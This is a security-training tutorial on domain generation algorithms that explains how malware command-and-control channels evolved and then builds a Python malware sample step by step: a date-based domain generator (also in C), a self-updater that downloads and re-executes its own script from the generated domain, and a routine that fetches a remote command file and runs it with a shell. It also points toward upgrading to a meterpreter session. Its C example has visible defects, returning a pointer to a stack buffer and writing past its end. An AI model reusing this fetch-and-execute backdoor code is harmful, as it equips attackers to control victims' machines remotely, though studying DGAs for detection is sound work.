Domain Generation Algorithm (DGA)

Introduction

We all know there have been (and still is) a lot of malware lurking around the Internet. It's quite usual today that once the victims get infected, they call back to the command and control (C&C) server, which is controlled by the attacker. The attacker can then contact the malware program installed on the victim's machine through the C&C server.

There has been much talk about the watering hole attack, where attackers first identify which websites the targeted group of people is using, infecting the webpage with malware and waiting for one of the targeted individuals to visit the website and potentially get infected. The infection usually happens through a vulnerability in the web browser, Java, Flash or PDF reader by using a known security vulnerability or a zero-day vulnerability.

Once the victim gets infected by any means, the payload is executed on the victim's machine. A payload can consists of any number of things, but usually a payload shuts down the anti-virus software, installs fake anti-virus software, installs a trojan or a rootkit, or installs ransomware by encrypting the user's data with a public key, while only the attackers have the private key to decrypt the data – if the user wants to see its own data again, he must pay a specific amount of money to receive a private key. There's also a payload, which connects back to the command and control (C&C) server and waits for actions to be done. To understand the need for domain generation algorithms, we must first talk about how command and control servers have evolved in time and which methods are available to shut them down.

• Dedicated IP Address or Domain: it used to be the case that malware connected back to a single IP address or domain. These kinds of C&C servers were easy to detect and eliminate, since the IP address of such a server is known – all that is required is contacting the Internet service provider or cloud service provider and instruct them to to log malicious behavior or shut it down completely.

• Fast Flux Domains: the idea behind this approach is using a single domain name that resolves to multiple IP addresses. A DNS query request returns different IP addresses that rotate in a round-robin fashion. If one server (IP) is taken down, the others are still accessible and can be used as C&C servers. New servers can also be easily added without downtime by adding a new IP to the domain name system resolution protocol. Usually fast-flux domains are used for load balancing where the requests are distributed among different servers. To fight against a fast flux domain, we must eliminate the source – the domain itself, so the DNS to IP resolution is no longer viable.

• A List of Domains: some malware families contain a list of domain names the malware visits when trying to download information about commands it has to execute. Malware contacts each domain in turn, so it's not using a single domain – if one domain is taken down, a lot of other domains can still be used to receive commands from the C&C server. To shutdown such malware, all domain names in a list have to be identified and eliminated from the Internet.

• Peer to Peer IPs: every compromised machine is used to transfer commands to the end point – therefore every machine can act as slave or master and receive or send the commands. It must also exchange information about other compromised machines. Eliminating a P2P C&C server is quite difficult, since every compromised computer needs to be detected and eliminated – this is quite different than the previous approach where the compromised machines connected to a single C&C server.

• Tor Onion Domain: the C&C server can be located in the Tor hidden network by using hidden services and .onion domains (which can only be resolved in the Tor network). This approach proves to be quite effective in detecting the C&C server and is quite simple really – compared to P2P C&C servers – but the Tor network is still slow and unreliable, which must be taken into consideration.

• Social Network Services: a social network like Facebook/Twitter can be used as C&C servers – a special user account is registered, which publishes messages in predefined format to the world. The compromised machines then pull posted messages from that account, decrypt the message according to the message format, and execute the specified action.

• DGA Domains: uses an algorithm to periodically generate a large number of domain names to connect to – domains can be used to contact the C&C servers and are generated and contacted everyday, which makes them difficult to eliminate [1]. Malware can generate any number of domain names and contact a few of them every day, receiving updates and actions to be executed. This is similar to how a list of domains works, but makes them harder to detect, because a malware analyst must reverse engineer the algorithm used to generate domain names in order to prevent further communication with C&C server. We need to remember that there can be an infinite number of DGA algorithms that malware can use – for domain generation to be more robust, time must be taken into consideration. This means that generated domains change based on time, usually current data.

Internals of DGAs

DGAs were invented to avoid network detection and mitigation techniques – this is because a predefined list of domain names can be easily discovered with a strings command, while we actually have to reverse engineer the malware sample that uses a DGA algorithm and reverse engineer the algorithm used to generate domain names in order to be able to block them with firewall blacklists.

Additionally, fighting against DGAs is not easy, since the domain names can be regenerated every day or even more frequently – every hour. That gives attackers the advantage of setting up the C&C server just for a day in order for infected machines to call home – after that has occurred, the attackers can shut down the C&C server and set it up again as the need arises. We need to keep in mind that a large number of domains generated by malware using the DGA algorithm doesn't exist and any try in resolving such domain names will result in the domain not being able to be resolved in an IP address. Therefore, by monitoring DNS requests and their responses, we can identify with high probability that a machine has been compromised, because of a high number of non-existing domains.

In [2] there's a great explanation how DGAs can be used to communicate with C&C servers: let's consider a DGA that generates a new domain to connect to every minute based on the following format: .com. It's imperative to understand that it matters how precise of a DGA algorithm we choose: if there are minutes used in a DGA domain generation algorithm, then the malware should try to connect back to that domain every minute; otherwise it loses the opportunity to achieve 100% accuracy. If the DGA algorithm is only taking hours into account, then the malware sample should try to connect back every hour. The DGA algorithm that we choose to use certainly depends upon how quickly we would like infected machines to call back to us: if it's enough to call back every day, then we must use such DGA algorithm, but if it's imperative that we're in constant communication with the malware, then we should use minutes instead. It certainly depends upon what we're doing and why we're writing a malicious malware.

In the remainder of the article, we'll setup a malware sample written in Python that uses a DGA algorithm to connect back to the C&C server. More specifically, we'll take a look at the following:

• Configuring Own TLD: we'll use dnsmasq to configure our own top-level domain .infosec, so we'll be able to resolve every domain name ending in .infosec to resolve to a specified IP address of our C&C server. We can do this because we have access to our own DNS server and it's also the far easiest way to do when implementing and testing the DGA algorithm.
• Generating the Domain Name: when generating a random domain name by using a DGA algorithm, we must first determine the DGA algorithm precision: does the DGA domain change every minute, every hour, every day, or some other random time slot.
• Generating the TLD: if we want, we can use a static TLD, like '.com', '.org', '.net', or determine that with an algorithm as well. One example would be taking the first or last byte of the domain itself and applying the "mod X" operation over that byte, where the X stands for the number of domains we would like to have – this is true because modulus returns the remainder of the division. If we would like to use 5 domains: com, net, org, info, gov, we have to choose X=5, since the modulus will return the numbers from 0-4.
• Self Updating: some malware samples also have a self-updating feature, where the malware sample can update itself and run the new version of the program. This is especially useful to find against detection programs like AV, IDS/IPS, to stay undetected as long as possible.
• Executing a Command: one more functionality that malware needs is executing arbitrary commands in certain time intervals; the time intervals should not be too long, because we want to be able to run a command on a victim machine within a couple of minutes, an hour at most. In this article we don't want to use anything fancy, which is why we're using HTTP protocol to download and execute the command.

Fill out the form below to download the associated code with this exercise. 

Configuring Own TLD

We can configure our own TLD by first installing the dnsmasq, which is a small forwarding DNS server. After installing it, we need to put the "address=/.infosec/127.0.0.1" line into its configuration file /etc/dnsmasq.conf. We can do that with the command below, after which we must also restart dnsmasq for changes to take effect.

[plain]

# echo 'address=/.infosec/127.0.0.1' >> /etc/dnsmasq.conf

# /etc/init.d/dnsmasq restart

[/plain]

Then we need to configure our system to first query the dnsmasql DNS server, which should try to resolve the domain name. This can be done by simply putting the the following as the first nameserver line into the /etc/resolv.conf. This will cause localhost dnsmasq DNS server to be queried first when the system tries to resolve a domain name.

[plain]

nameserver 127.0.0.1

[/plain]

We should also have another nameserver in the /etc/resolv.conf, which will be used for other valid domain names in order to be resolved successfully. If we now try to resolve any domain name ending with .infosec TLD, we'll receive the IP specified in the dnsmasq.conf configuration file. Below we can see that the IP address 127.0.0.1 was returned to the DNS query of the rereewqoerjeor.infosec domain name.

[plain]

# nslookup rereewqoerjeor.infosec

Server: 127.0.0.1

Address: 127.0.0.1#53

Name: rereewqoerjeor.infosec

Address: 127.0.0.1

[/plain]

Remember that instead of specifying the 127.0.0.1 IP address, we could have used any WAN IP address, which is normally used for C&C servers.

Generating the Domain Name

Let's suppose that we want to change the DGA domain every day, which is enough for our purposes, but still allows us to change the domain on a daily basis, to which the victims will connect back. If CERT agencies were trying to prevent our malware from connecting back to our C&C server, they could register an arbitrary number of domains for the next couple of days and gain access to infected machines. This would prevent attackers from gaining access to the infected machines, making the DGA algorithm quite limitless. A solution would be to generate a new domain every hour, which means 24 domains will be changed in a day. Quite surely, CERT won't register all domains, because there are already too many of them to go around.

Let's take a look a sample Python code for generating the various domains. Below we can see the generate_domain function, which accepts three parameters: year, month and day. This means that the algorithm generates a new domain every day, which is then used by the malware to connect back to the C&C server.

[python]

def generate_domain(year, month, day):

""" Generates a domain by considering the current date. """

domain = ""

for i in range(32):

year = ((year ^ 8 * year) >> 11) ^ ((year &amp; 0xFFFFFFF0) << 17)

month = ((month ^ 4 * month) >> 25) ^ 16 * (month &amp; 0xFFFFFFF8)

day = ((day ^ (day << 13)) >> 19) ^ ((day &amp; 0xFFFFFFFE) << 12)

domain += chr(((year ^ month ^ day) % 25) + 97)

# add our own domain
domain += '.infosec'

return domain
[/python]

The for loop in the function directly controls the length of the domain, where the number 16 outputs domain names of 16 characters. In the table below, we can see how the domain changes when adjusting the number passed into the for loop; on each iteration of the for loop, another character is added to the domain to generate whole domain name. Note that the domain below was generated on the 18.6.2014, which you can feed as parameters to the generate_domain function to get the same results.

Number Domain

1 k.infosec

2 ka.infosec

3 kaf.infosec

4 kafp.infosec

5 kafph.infosec

6 kafpho.infosec

7 kafphog.infosec

8 kafphogv.infosec

9 kafphogvi.infosec

10 kafphogvif.infosec

11 kafphogvifa.infosec

12 kafphogvifah.infosec

13 kafphogvifahu.infosec

14 kafphogvifahut.infosec

15 kafphogvifahutb.infosec

16 kafphogvifahutbl.infosec

I've also written a C program that uses the same DGA algorithm for generating the domain names, which can be seen below. The program defines a function with the same name generate_domain, which accepts current year, month, which influence the domain generation algorithm. The function reserves some space on the stack for the domain variable, which is 25 bytes long, so it can hold the actual domain plus the TLD inside a buffer. There's an additional variable 'i' of size 2 bytes, which is used as a counter to domain generation loop. Then the for loop generates the domain name, which is the same algorithm we've already seen in the Python code example. After the for loop, we have to append the TLD to the generated domain with the strncpy function and finish the string representation by appending a NULL byte at the end of the string.

[c]

#include <stdio.h>

#include <time.h>

#include <string.h>

#define DOMAINLEN 16
#define TLD ".infosec"

/*

* Generate a domain with DGA algorithm based on year/month/day variables.

*/

char* generate_domain(unsigned long year, unsigned long month, unsigned long day) {

char domain[DOMAINLEN + sizeof(TLD)];

unsigned short i;

for(i=0; i<DOMAINLEN; i++) {

year = ((year ^ 8 * year) >> 11) ^ ((year &amp; 0xFFFFFFF0) << 17);

month = ((month ^ 4 * month) >> 25) ^ 16 * (month &amp; 0xFFFFFFF8);

day = ((day ^ (day << 13)) >> 19) ^ ((day &amp; 0xFFFFFFFE) << 12);

domain[i] = (unsigned char)(((year ^ month ^ day) % 25) + 97);

}

// add TLD to the domain
strncpy(domain+DOMAINLEN, ".infosec", sizeof(TLD));

// finish string representation with NULL character
domain[DOMAINLEN + sizeof(TLD)] = '\0' ;

// return the domain

return domain;

}

/*

* Main function that generates a daily DGA domain and outputs it to stdout.

*/

long main() {

char* domain;

time_t ctime = time(NULL);

struct tm* ltime = localtime(&amp;ctime);

unsigned long year = ltime->tm_year + 1900;

unsigned long month = ltime->tm_mon + 1;

unsigned long day = ltime->tm_mday;

printf("Time : %lu:%lu:%lun", year, month, day);

domain = generate_domain(year, month, day);
printf("Domain : %sn", domain);

return 0;

}

[/c]

We should also talk about the main program function where the time structure is being handled. In C, the localtime function accepts the time_t parameter to fill the tm structure. Previously the time() function was used to return the current calendar time in unix timestamp as a number of seconds since 1.1.1970 UTC.

[plain]

struct tm *localtime(const time_t *timep);

[/plain]

It's important to understand that the localtime fills the tm structure which contains the following elements – take a look at the structure on the picture below. From the structure it's evident that the tm_year variable contains the number of years since 1900, which is why we must add 1900 to get the total number of years. The tm_mon contains the current month, which is selected from the range 0-11, so we need to add 1 to get the current month (because January should be 1 and not 0). The tm_mday already contains the right number that represents the current day, so no additional mathematical additions/substitutions are needed.

Next, we need to compile the above code normally with gcc, but just for completeness we're specifying the command here as well.

[plain]

# gcc main.c -o main

[/plain]

What's left is actually running the program that outputs the same domain as it did previously in Python code, which verifies that we've written it correctly.

[plain]

# ./main

Time : 2014:6:18

Domain : kafphogvifahutbl.infosec

[/plain]

Self Updating

Since we're writing the malware sample in Python, we can program the self-updating feature in a few lines of code, which can be seen below. The update function accepts the generated domain from where the malware will be downloaded – note that the domain can be a static domain or can use a totally different DGA algorithm, but in our case we'll use the same domain that is also used for contacting the C&C server. The update function first downloads the dga_version.txt file from the server and compares it to its own version. If a newer version is available on the server, the main.py is downloaded and the program is restarted.

[plain]

def update(domain):

"""

Download and restart itself by replacing the program script file if not using

the latest version. This is basically a self-modifying code, which updates itself

if needed.

"""

# download the latest version of the script

ver = urllib.urlopen('http://' + domain + '/dga_version.txt').read()

if StrictVersion(ver) > StrictVersion(version):

urllib.urlretrieve('http://' + domain + '/main.py', 'main.py')

print "The main.py was successfully updated."

else:

print "Updating not required - using the latest version."

return

# restart the program if it was updated

os.execl(sys.executable, *([sys.executable]+sys.argv))

[/plain]

The current version of the program is "1.0" as presented by the version variable. Let's copy the current version of the script to DocumentRoot, so it will be accessible by the web server. Let's also replace the version "1.0" with "1.1", so we'll see whether updating works. If we put the "print version" statement before and after calling the update command, the following will be printed on the screen. First the generated domain is printed, next the current version "1.0" is displayed. After that the update function is called, which downloads and replaces the main.py and the program is restarted. Since the program is the same, it basically does the same thing, except it downloads the newer version of the program, because such a version does not exist.

[plain]

# python main.py

kafphogvifahutbl.infosec

1.0

The main.py was successfully updated.

kafphogvifahutbl.infosec

1.1

Updating not required - using the latest version.

1.1

[/plain]

At that point we only have to setup some kind of crontab, which will periodically check whether a new version of the program exists, which downloads and replaces the current executable – this will be seen later in the article. Let's also display the contents of dga_version.txt in a web browser to see whether the generated domain kafphogvifahutbl.infosec is actually accessible. On the picture below, we can see the file is accessible and contains the newer version "1.1".

If we also request the main.py from the web server, the Python program source code will be displayed as seen below.

Executing a Command

We'll execute the command by using an HTTP protocol to download the command.txt file from the web server. The code connects to the generated domain and downloads the command.txt, which contains the command to be executed. Then it checks whether the command has already been executed and quits if it has. If the command hasn't been previously executed, it will be executed with subprocess.Popen command. After the command execution, the output needs to be sent to a server, so the attacker can observe it: this is relatively easy to implement and will be left as an exercise to the reader.

[python]

def command(domain):

"""

Download and execute a command every minute and store the last used command

so the same command is not executed over and over again. The result of the ran

command is sent to the webserver.

"""

global prevcmd

# download the latest command to be executed

cmd = urllib.urlopen('http://' + domain + '/command.txt').read()

if prevcmd == cmd:

print "The command has already been run."

return

else:

print "The command function was called successfully."

# execute the current command and get output

p=subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

out = p.stdout.readlines()

# remember the last command being run

prevcmd = cmd

[/python]

Note that the above code uses a relatively simple principle of downloading the command and executing it. It doesn't provide an interactive session, which is useful when we want to exploit a server. Nevertheless, the method gives us a relatively simple way of upgrading our session to the interactive session by executing a few additional commands. It should be quite easy to upgrade the session into a meterpreter session by uploading an executing meterpreter stager.

Putting Everything Together

We still haven't talked about the crontab a malware needs to execute commands and update itself periodically. Since we're using Python, we can write the scheduler functionality by using the sched Python module, which implements an event scheduler that can be used to run tasks at specific times. When initializing a scheduler, we have to pass two parameters to the function: the first parameter is the time to be used to learn the current time, and the second parameter is the delay used to wait for specific amount of time. An event can be scheduled by using the enter() function, which accepts four parameters:

• 1 parameter: a delay

• 2 parameter: a priority
• 3 parameter: function which will be called after the delay
• 4 parameter: a tuple of arguments to pass to the function

The scheduler part of the code can be seen below, where the first line initializes the scheduler and the second and third line add an event to be executed. The first call to s.enter specifies the update command to be called every 2 minutes and the second call to s.enter specifies the command command to be called every minute.

[python]

s = sched.scheduler(time.time, time.sleep)

s.enter(2*60, 1, update, (domain,))

s.enter(1*60, 1, command, (domain,))

s.run()

[/python]

Once we've run the program, the following will be printed on the screen. On the right side of the output I've presented the time when the specific lines are written to stdout. The domain is printed immediately, because it is part of the main function, while the command function is called after 1 and 2 minutes and the update function is called after 2 minutes.

[plain]

kafphogvifahutbl.infosec ; immediately

The command function was called successfully. ; after 1 minute

The main.py was successfully updated. ; after 2 minutes

kafphogvifahutbl.infosec ; after 2 minutes

[/plain]

Conclusion

In this article we've seen how a malware that uses a DGA algorithm can be written in a relatively simple manner. By using a DGA algorithm, malware is able to use different domains to connect back to the C&C server, which proves to be harder to eliminate and remove. This is why it's being actively used by various malware samples, which enables the attacker to gain access to the victim machines. It used to be the case that malware was connecting back to a single domain and after the domain has been removed from the DNS system, the compromised machines were no longer able to connect back to the C&C server – and the attacker wasn't able to execute arbitrary commands on them anymore. Now, if the attacker wants to gain access over the compromised machines even after a certain domain has been eliminated, it needs to wait a day or two, register the new domain with an arbitrary registrar, point the DNS name to his own IP address, and take charge of the compromised machines.

With the coming of DGA algorithms, others are also able to take control of compromised machines. We only have to register an unregistered domain for any coming days and reverse engineer the malware sample in order to determine how it connects back and executes a command. After we've done that, we need to create a server, which can be HTTP, DNS, POP3, etc, whichever protocol the malware uses, and wait for the clients to connect. Upon connecting the clients, we can instruct them to remove the malicious malware from their systems to prevent an attacker from ever gaining access to them again. Note that a malicious attacker can steal compromised machines from another hacker by deleting the malware from the system and installing his own malware, which responds only to his own commands.

If you suspect a program to be malicious and uses a DGA algorithm, please send a sample to me for analysis at Protean Security – I'm always interested in analyzing new and exciting malware samples.

References:

[1] Domain generation algorithm,

https://en.wikipedia.org/wiki/Domain_generation_algorithm.

[2] End-to-end analysis of a domain generating algorithm malware family,

https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf.

[3] C library function – localtime(),

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

http://www.tutorialspoint.com/c_standard_library/c_function_localtime.htm.